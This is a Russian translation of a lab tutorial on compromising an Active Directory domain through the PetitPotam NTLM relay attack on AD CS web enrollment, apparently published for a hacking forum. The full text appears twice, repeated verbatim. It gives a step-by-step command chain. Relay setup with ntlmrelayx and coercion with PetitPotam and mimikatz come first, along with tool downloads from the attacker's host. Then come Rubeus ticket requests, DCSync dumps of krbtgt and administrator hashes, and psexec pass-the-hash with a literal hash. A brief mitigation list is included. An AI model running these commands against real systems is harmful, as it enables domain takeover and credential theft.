Введение
Уилл Шредер и Ли Кристенсен написали исследовательскую работу по этой технике, на которую можно посомтреть здесь (https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf). В методике ESC8, упомянутой в исследовательской статье, говорится о присущей уязвимости в веб-интерфейсе сервера ЦС с включенной службой веб-регистрации. Таким образом, злоумышленник может ретранслировать запросы из веб-интерфейса, чтобы запросить сертификат учетной записи компьютера контроллера домена (DC$) и получить эскалацию + персистенс. PetitPotam — это один из таких PoC-инструментов, разработанный Лайонелом Жилем (см. здесь (https://github.com/topotam/PetitPotam)), который может принуждать или убеждать хост Windows пройти аутентификацию в DC, которую можно использовать для запроса сертификатов и получения эскалации.
Уязвимость
AD CS поддерживает несколько методов регистрации на основе HTTP с помощью дополнительных ролей сервера AD CS, которые могут установить администраторы. Эти интерфейсы регистрации уязвимы для ретрансляционных атак NTLM. Веб-конечные точки не имеют защиты ретрансляции NTLM по умолчанию и, следовательно, уязвимы по умолчанию. Поток уязвимости выглядит следующим образом:
- Атака принуждает/вынуждает учетную запись машины контроллера домена (workstation01$ в нашем случае) пройти аутентификацию в отношении нашей настройки ретрансляции NTLM (в нашем случае Kali).
- Запрос аутентификации учетной записи Workstation01$ перенаправляется на сервер ретрансляции NTLM (kali).
- Аутентификация учетной записи Workstation01$ передается на CA Server или ADCS (служба сертификатов Active Directory).
- Создается сертификат
- Используйте сертификат для выполнения атак (например, DCSync) для компрометации DC1$ (сервер ЦС).
Как принудительно выполнить аутентификацию? => Если злоумышленник терпелив, он может дождаться органической аутентификации. Но у нас не так много времени, поэтому нам нужно принудительно пройти аутентификацию. Одним из таких методов является знаменитый "ошибка принтера". Но это зависит от запущенной и уязвимой службы диспетчера очереди печати. Поэтому Лайонел Жиль создал "PetitPotam", который изначально использовал уязвимую функцию EfsRpcOpenFileRaw в протоколе MS-EFSR, которая имела недостаточную проверки пути. Используя это, злоумышленники могут выполнять принудительную аутентификацию через SMB, тем самым расширяя возможности ретранслятора NTLM. С тех пор в инструмент PetitPotam было добавлено множество новых функций.
Архитектура
Сервер ЦС с веб-регистрацией — DC1$: 192.168.1.2
Контроллер домена – workstation01$: 192.168.1.3
Кали — не в домене: 192.168.1.4
Windows закера — не в домене: случайный IP-адрес (не присоединенный к домену, но DNS указывает на IP-адрес ЦС)
Лабораторка
На сервере Windows, где ADCS уже настроен, перейдите к диспетчеру сервера и выберите добавление ролей и функций, а также добавьте следующие три роли:
- Веб-регистрация ЦС
- Веб-служба регистрации сертификатов
- Служба регистрации сетевых устройств
Как видите, на моем сервере (dc1.ignite.local) я их уже установил. Я не менял никаких настроек и оставил все по умолчанию.
Мы можем запустить Internet Explorer и посмотреть по следующей ссылке, работает ли веб-регистрация сертификата или нет.
И, наконец, вам нужно настроить отдельную учетную запись DC на другой машине, как у меня. В большинстве сценариев серверы DC и CA одинаковы, но для простоты я сделал их разными. Как видите, на машине DC настроена учетная запись DC с именем "Workstation01", которая находится в группе DC.
Демка атаки
Демка разделена на 5 частей: начальная компрометация, 3 способа запроса ЦС и эскалация.
Первоначальная компрометация
Поскольку это атака с расширением домена, нам сначала нужен доступ к системе жертвы. Здесь я скомпрометировал компьютер, на котором есть учетная запись workstation01$. Понятно, что в этой системе есть учетная запись компьютера с контроллером домена, что означает, что система принадлежит контроллеру домена, но у нас нет доступа к контроллеру домена.
net group “domain controllers” /domain
Наша цель: сгенерировать сертификат DC и аутентифицировать CA-сервер по нему, а также повысить привилегии до DC.
Скомпрометированные учетные данные: Harshit:Password@1
Прежде чем мы создадим сертификат для этой учетной записи DC, нам нужно настроить ретранслятор NTLM. Мы можем сделать это с помощью Python-скрипта Impacket ntlmrelayx.py.
ntlmrelayx.py -t http://192.168.1.2/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Генерация сертификата — скрипт PetitPotam Python
PetitPotam можно загрузить из официального репозитория github здесь (https://github.com/topotam/PetitPotam). Запустить скрипт очень просто, вам просто нужно указать домен, учетные данные скомпрометированного пользователя и IP-адрес ретранслятора NTLM (kali), а затем IP-адрес контроллера домена.
git clone https://github.com/topotam/PetitPotam
cd PetitPotam
python3 PetitPotam.py -d ignite.local -u harshit -p Password@1 192.168.1.4 192.168.1.3
Если все пойдет хорошо, вы увидите скриншот, как показано выше, со сценарием, указывающим на отправку EfsRpcOpenFileRaw и успешную атаку!
Все это должно было сгенерировать сертификат для учетной записи компьютера DC Workstation01$ в консоли ретрансляции NTLM. Вот несколько вещей, на которые стоит обратить внимание:
- Аутентификация прошла успешно: означает, что Cert Web Enroll был вызван для учетной записи компьютера (уязвимость в API Windows для веб-регистрации) путем предоставления аутентификации для пользователя с низким уровнем доступа.
- Атака с контролируемого адреса 192.168.1.3, атакующая цель 192.168.1.2: означает, что ретранслятор успешно перенаправил запрос на сервер ЦС и был сгенерирован сертификат для рабочей станции учетной записи DC01$
Вы можете скопировать этот сертификат в текстовый файл.
Прежде чем мы перейдем к фактическим методам priv ESC, я хотел бы показать вам еще два метода, которые делают то же самое, что мы только что сделали.
Создание сертификата — PetitPotam.exe
Официальный репозиторий GitHub также поставляется с файлом PetitPotam.exe. Вы можете загрузить этот файл на сервер-жертву, выполнить его и получить те же результаты. Если вы видите небольшую паузу, а затем Attack success!!! Status, вы сгенерировали сертификат учетной записи DC. В команде PetitPotam.exe "1"» означает активацию эксплойта с использованием уязвимости функции EfsRpcOpenFileRaw по умолчанию. Есть и другие уязвимые функции, добавленные автором.
powershell wget 192.168.1.4/PetitPotam.exe -O PetitPotam.exe
PetitPotam.exe 192.168.1.4 192.168.1.3 1
Генерация сертификата – Mimikatz
Как культурные люди, мы любим добавлять новые эксплолиты в наш любимый мимикатз. Уязвимость функции EfsRpcOpenFileRaw также может быть активирована с помощью мимикатз. Нам просто нужно загрузить это на сервер нашей жертвы и выполнить следующую команду.
/connect: IP-адрес ретранслятора NTLM
/сервер: dc_account.domain.fqdn
powershell wget http://192.168.1.4/mimikatz.exe -O mimikatz.exe
misc::efs /server:workstation01.ignite.local /connect:192.168.1.4
Результатом всех вышеперечисленных методов будет один и тот же сертификат. Теперь давайте повысим наши привилегии.
Повышение привилегий
Генерация ТГТ
Нам нужно взять новую систему Windows 10, которая не входит в домен, чтобы продемонстрировать это на практике. Мы настраиваем локальную учетную запись администратора в этой системе и меняем наш DNS, чтобы он указывал на DC, например так:
Теперь, поскольку у нас есть сертификат DC, нам нужно преобразовать его в гораздо более эффективные средства доступа. Давайте сначала сгенерируем TGT с помощью Rubeus. Модуль Asktgt в Rubeus может сделать это, взяв сгенерированный сертификат в качестве входных данных командной строки. Команда выглядит следующим образом:
.\Rubeus.exe asktgt /outfile:kirbi /dc:192.168.1.2 /domain:ignite.local /user:workstation01 /ptt /certificate:MIIRdQIBAz.....
Kirbi — это формат TGT с кодировкой base64, используемый Rubeus.
Как вы можете видеть с помощью команды klist, TGT был создан и сохранен в системе для дальнейшего использования.
Атака DCSync
Используя мимик, мы можем использовать этот билет для проведения атаки DCSync. Во-первых, давайте сбросим хэши учетной записи krbtgt.
lsadump::dcsync /domain:ignite.local /user:krbtgt
Теперь злоумышленник может использовать эти учетные данные и SID, предоставленные для выполнения атаки Golden Ticket (для сохранения). Подробности можно найти здесь (https://www.hackingarticles.in/domain-persistence-golden-ticket-attack/). Но на данный момент нас интересует доступ администратора CA Server (учетная запись компьютера DC1$). Давайте еще раз запустим DCSync под учетной записью администратора.
lsadump::dcsync /domain:ignite.local /user:administrator
Теперь злоумышленник может использовать эти учетные данные и SID, предоставленные для выполнения атаки Golden Ticket (для сохранения). Подробности можно найти здесь (https://www.hackingarticles.in/domain-persistence-golden-ticket-attack/). Но на данный момент нас интересует доступ администратора CA Server (учетная запись компьютера DC1$). Давайте еще раз запустим DCSync под учетной записью администратора.
lsadump::dcsync /domain:ignite.local /user:administrator
Как видите, теперь мы получили NTLM-хэш учетной записи администратора. Теперь давайте воспользуемся psexec, чтобы получить работоспособную оболочку, проведя атаку PassTheHash.
Атака PassTheHash
Для проведения PassTheHash мы будем использовать реализацию Impacket psexec.py и следующую команду:
psexec.py -hashes :32196b56ffe6f45e294117b91a83bf38 ignite.local/administrator@192.168.1.2
И вуаля! Вот и все. Вы можете видеть, что теперь мы скомпрометировали учетную запись DC CA Server (DC1$), просто используя уязвимость веб-регистрации ADCS и учетные данные пользователя с низким уровнем доступа.
Защита
Microsoft выпустила подробные рекомендации по необходимому механизму исправления, которые можно найти здесь. Но я резюмирую это в коротких предложениях здесь:
- Включите требование SSL в диспетчере IIS->сайты по умолчанию->параметр certsrv
- Включить расширенную защиту (под certsrv-> аутентификация)
- Отключите NTLM для IIS на сервере ADCS, установив certsrv->providers->negotiate:kerberos
Заключение
Certified-Pre Owned — это ценный технический документ, посвященный различным уязвимостям ADCS, и с помощью нашего блога мы стремимся повысить осведомленность об этих атаках, чтобы организации могли понять, внедрить и исправить такие неизвестные и незамеченные уязвимости.Надеюсь, вам понравилась статья. Спасибо за прочтение.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/domain-escalation-petitpotam-ntlm-relay-to-adcs-endpoints/
Уилл Шредер и Ли Кристенсен написали исследовательскую работу по этой технике, на которую можно посомтреть здесь (https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf). В методике ESC8, упомянутой в исследовательской статье, говорится о присущей уязвимости в веб-интерфейсе сервера ЦС с включенной службой веб-регистрации. Таким образом, злоумышленник может ретранслировать запросы из веб-интерфейса, чтобы запросить сертификат учетной записи компьютера контроллера домена (DC$) и получить эскалацию + персистенс. PetitPotam — это один из таких PoC-инструментов, разработанный Лайонелом Жилем (см. здесь (https://github.com/topotam/PetitPotam)), который может принуждать или убеждать хост Windows пройти аутентификацию в DC, которую можно использовать для запроса сертификатов и получения эскалации.
Уязвимость
AD CS поддерживает несколько методов регистрации на основе HTTP с помощью дополнительных ролей сервера AD CS, которые могут установить администраторы. Эти интерфейсы регистрации уязвимы для ретрансляционных атак NTLM. Веб-конечные точки не имеют защиты ретрансляции NTLM по умолчанию и, следовательно, уязвимы по умолчанию. Поток уязвимости выглядит следующим образом:
- Атака принуждает/вынуждает учетную запись машины контроллера домена (workstation01$ в нашем случае) пройти аутентификацию в отношении нашей настройки ретрансляции NTLM (в нашем случае Kali).
- Запрос аутентификации учетной записи Workstation01$ перенаправляется на сервер ретрансляции NTLM (kali).
- Аутентификация учетной записи Workstation01$ передается на CA Server или ADCS (служба сертификатов Active Directory).
- Создается сертификат
- Используйте сертификат для выполнения атак (например, DCSync) для компрометации DC1$ (сервер ЦС).
Как принудительно выполнить аутентификацию? => Если злоумышленник терпелив, он может дождаться органической аутентификации. Но у нас не так много времени, поэтому нам нужно принудительно пройти аутентификацию. Одним из таких методов является знаменитый "ошибка принтера". Но это зависит от запущенной и уязвимой службы диспетчера очереди печати. Поэтому Лайонел Жиль создал "PetitPotam", который изначально использовал уязвимую функцию EfsRpcOpenFileRaw в протоколе MS-EFSR, которая имела недостаточную проверки пути. Используя это, злоумышленники могут выполнять принудительную аутентификацию через SMB, тем самым расширяя возможности ретранслятора NTLM. С тех пор в инструмент PetitPotam было добавлено множество новых функций.
Архитектура
Сервер ЦС с веб-регистрацией — DC1$: 192.168.1.2
Контроллер домена – workstation01$: 192.168.1.3
Кали — не в домене: 192.168.1.4
Windows закера — не в домене: случайный IP-адрес (не присоединенный к домену, но DNS указывает на IP-адрес ЦС)
Лабораторка
На сервере Windows, где ADCS уже настроен, перейдите к диспетчеру сервера и выберите добавление ролей и функций, а также добавьте следующие три роли:
- Веб-регистрация ЦС
- Веб-служба регистрации сертификатов
- Служба регистрации сетевых устройств
Как видите, на моем сервере (dc1.ignite.local) я их уже установил. Я не менял никаких настроек и оставил все по умолчанию.
Мы можем запустить Internet Explorer и посмотреть по следующей ссылке, работает ли веб-регистрация сертификата или нет.
И, наконец, вам нужно настроить отдельную учетную запись DC на другой машине, как у меня. В большинстве сценариев серверы DC и CA одинаковы, но для простоты я сделал их разными. Как видите, на машине DC настроена учетная запись DC с именем "Workstation01", которая находится в группе DC.
Демка атаки
Демка разделена на 5 частей: начальная компрометация, 3 способа запроса ЦС и эскалация.
Первоначальная компрометация
Поскольку это атака с расширением домена, нам сначала нужен доступ к системе жертвы. Здесь я скомпрометировал компьютер, на котором есть учетная запись workstation01$. Понятно, что в этой системе есть учетная запись компьютера с контроллером домена, что означает, что система принадлежит контроллеру домена, но у нас нет доступа к контроллеру домена.
net group “domain controllers” /domain
Наша цель: сгенерировать сертификат DC и аутентифицировать CA-сервер по нему, а также повысить привилегии до DC.
Скомпрометированные учетные данные: Harshit:Password@1
Прежде чем мы создадим сертификат для этой учетной записи DC, нам нужно настроить ретранслятор NTLM. Мы можем сделать это с помощью Python-скрипта Impacket ntlmrelayx.py.
ntlmrelayx.py -t http://192.168.1.2/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Генерация сертификата — скрипт PetitPotam Python
PetitPotam можно загрузить из официального репозитория github здесь (https://github.com/topotam/PetitPotam). Запустить скрипт очень просто, вам просто нужно указать домен, учетные данные скомпрометированного пользователя и IP-адрес ретранслятора NTLM (kali), а затем IP-адрес контроллера домена.
git clone https://github.com/topotam/PetitPotam
cd PetitPotam
python3 PetitPotam.py -d ignite.local -u harshit -p Password@1 192.168.1.4 192.168.1.3
Если все пойдет хорошо, вы увидите скриншот, как показано выше, со сценарием, указывающим на отправку EfsRpcOpenFileRaw и успешную атаку!
Все это должно было сгенерировать сертификат для учетной записи компьютера DC Workstation01$ в консоли ретрансляции NTLM. Вот несколько вещей, на которые стоит обратить внимание:
- Аутентификация прошла успешно: означает, что Cert Web Enroll был вызван для учетной записи компьютера (уязвимость в API Windows для веб-регистрации) путем предоставления аутентификации для пользователя с низким уровнем доступа.
- Атака с контролируемого адреса 192.168.1.3, атакующая цель 192.168.1.2: означает, что ретранслятор успешно перенаправил запрос на сервер ЦС и был сгенерирован сертификат для рабочей станции учетной записи DC01$
Вы можете скопировать этот сертификат в текстовый файл.
Прежде чем мы перейдем к фактическим методам priv ESC, я хотел бы показать вам еще два метода, которые делают то же самое, что мы только что сделали.
Создание сертификата — PetitPotam.exe
Официальный репозиторий GitHub также поставляется с файлом PetitPotam.exe. Вы можете загрузить этот файл на сервер-жертву, выполнить его и получить те же результаты. Если вы видите небольшую паузу, а затем Attack success!!! Status, вы сгенерировали сертификат учетной записи DC. В команде PetitPotam.exe "1"» означает активацию эксплойта с использованием уязвимости функции EfsRpcOpenFileRaw по умолчанию. Есть и другие уязвимые функции, добавленные автором.
powershell wget 192.168.1.4/PetitPotam.exe -O PetitPotam.exe
PetitPotam.exe 192.168.1.4 192.168.1.3 1
Генерация сертификата – Mimikatz
Как культурные люди, мы любим добавлять новые эксплолиты в наш любимый мимикатз. Уязвимость функции EfsRpcOpenFileRaw также может быть активирована с помощью мимикатз. Нам просто нужно загрузить это на сервер нашей жертвы и выполнить следующую команду.
/connect: IP-адрес ретранслятора NTLM
/сервер: dc_account.domain.fqdn
powershell wget http://192.168.1.4/mimikatz.exe -O mimikatz.exe
misc::efs /server:workstation01.ignite.local /connect:192.168.1.4
Результатом всех вышеперечисленных методов будет один и тот же сертификат. Теперь давайте повысим наши привилегии.
Повышение привилегий
Генерация ТГТ
Нам нужно взять новую систему Windows 10, которая не входит в домен, чтобы продемонстрировать это на практике. Мы настраиваем локальную учетную запись администратора в этой системе и меняем наш DNS, чтобы он указывал на DC, например так:
Теперь, поскольку у нас есть сертификат DC, нам нужно преобразовать его в гораздо более эффективные средства доступа. Давайте сначала сгенерируем TGT с помощью Rubeus. Модуль Asktgt в Rubeus может сделать это, взяв сгенерированный сертификат в качестве входных данных командной строки. Команда выглядит следующим образом:
.\Rubeus.exe asktgt /outfile:kirbi /dc:192.168.1.2 /domain:ignite.local /user:workstation01 /ptt /certificate:MIIRdQIBAz.....
Kirbi — это формат TGT с кодировкой base64, используемый Rubeus.
Как вы можете видеть с помощью команды klist, TGT был создан и сохранен в системе для дальнейшего использования.
Атака DCSync
Используя мимик, мы можем использовать этот билет для проведения атаки DCSync. Во-первых, давайте сбросим хэши учетной записи krbtgt.
lsadump::dcsync /domain:ignite.local /user:krbtgt
Теперь злоумышленник может использовать эти учетные данные и SID, предоставленные для выполнения атаки Golden Ticket (для сохранения). Подробности можно найти здесь (https://www.hackingarticles.in/domain-persistence-golden-ticket-attack/). Но на данный момент нас интересует доступ администратора CA Server (учетная запись компьютера DC1$). Давайте еще раз запустим DCSync под учетной записью администратора.
lsadump::dcsync /domain:ignite.local /user:administrator
Теперь злоумышленник может использовать эти учетные данные и SID, предоставленные для выполнения атаки Golden Ticket (для сохранения). Подробности можно найти здесь (https://www.hackingarticles.in/domain-persistence-golden-ticket-attack/). Но на данный момент нас интересует доступ администратора CA Server (учетная запись компьютера DC1$). Давайте еще раз запустим DCSync под учетной записью администратора.
lsadump::dcsync /domain:ignite.local /user:administrator
Как видите, теперь мы получили NTLM-хэш учетной записи администратора. Теперь давайте воспользуемся psexec, чтобы получить работоспособную оболочку, проведя атаку PassTheHash.
Атака PassTheHash
Для проведения PassTheHash мы будем использовать реализацию Impacket psexec.py и следующую команду:
psexec.py -hashes :32196b56ffe6f45e294117b91a83bf38 ignite.local/administrator@192.168.1.2
И вуаля! Вот и все. Вы можете видеть, что теперь мы скомпрометировали учетную запись DC CA Server (DC1$), просто используя уязвимость веб-регистрации ADCS и учетные данные пользователя с низким уровнем доступа.
Защита
Microsoft выпустила подробные рекомендации по необходимому механизму исправления, которые можно найти здесь. Но я резюмирую это в коротких предложениях здесь:
- Включите требование SSL в диспетчере IIS->сайты по умолчанию->параметр certsrv
- Включить расширенную защиту (под certsrv-> аутентификация)
- Отключите NTLM для IIS на сервере ADCS, установив certsrv->providers->negotiate:kerberos
Заключение
Certified-Pre Owned — это ценный технический документ, посвященный различным уязвимостям ADCS, и с помощью нашего блога мы стремимся повысить осведомленность об этих атаках, чтобы организации могли понять, внедрить и исправить такие неизвестные и незамеченные уязвимости.Надеюсь, вам понравилась статья. Спасибо за прочтение.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/domain-escalation-petitpotam-ntlm-relay-to-adcs-endpoints/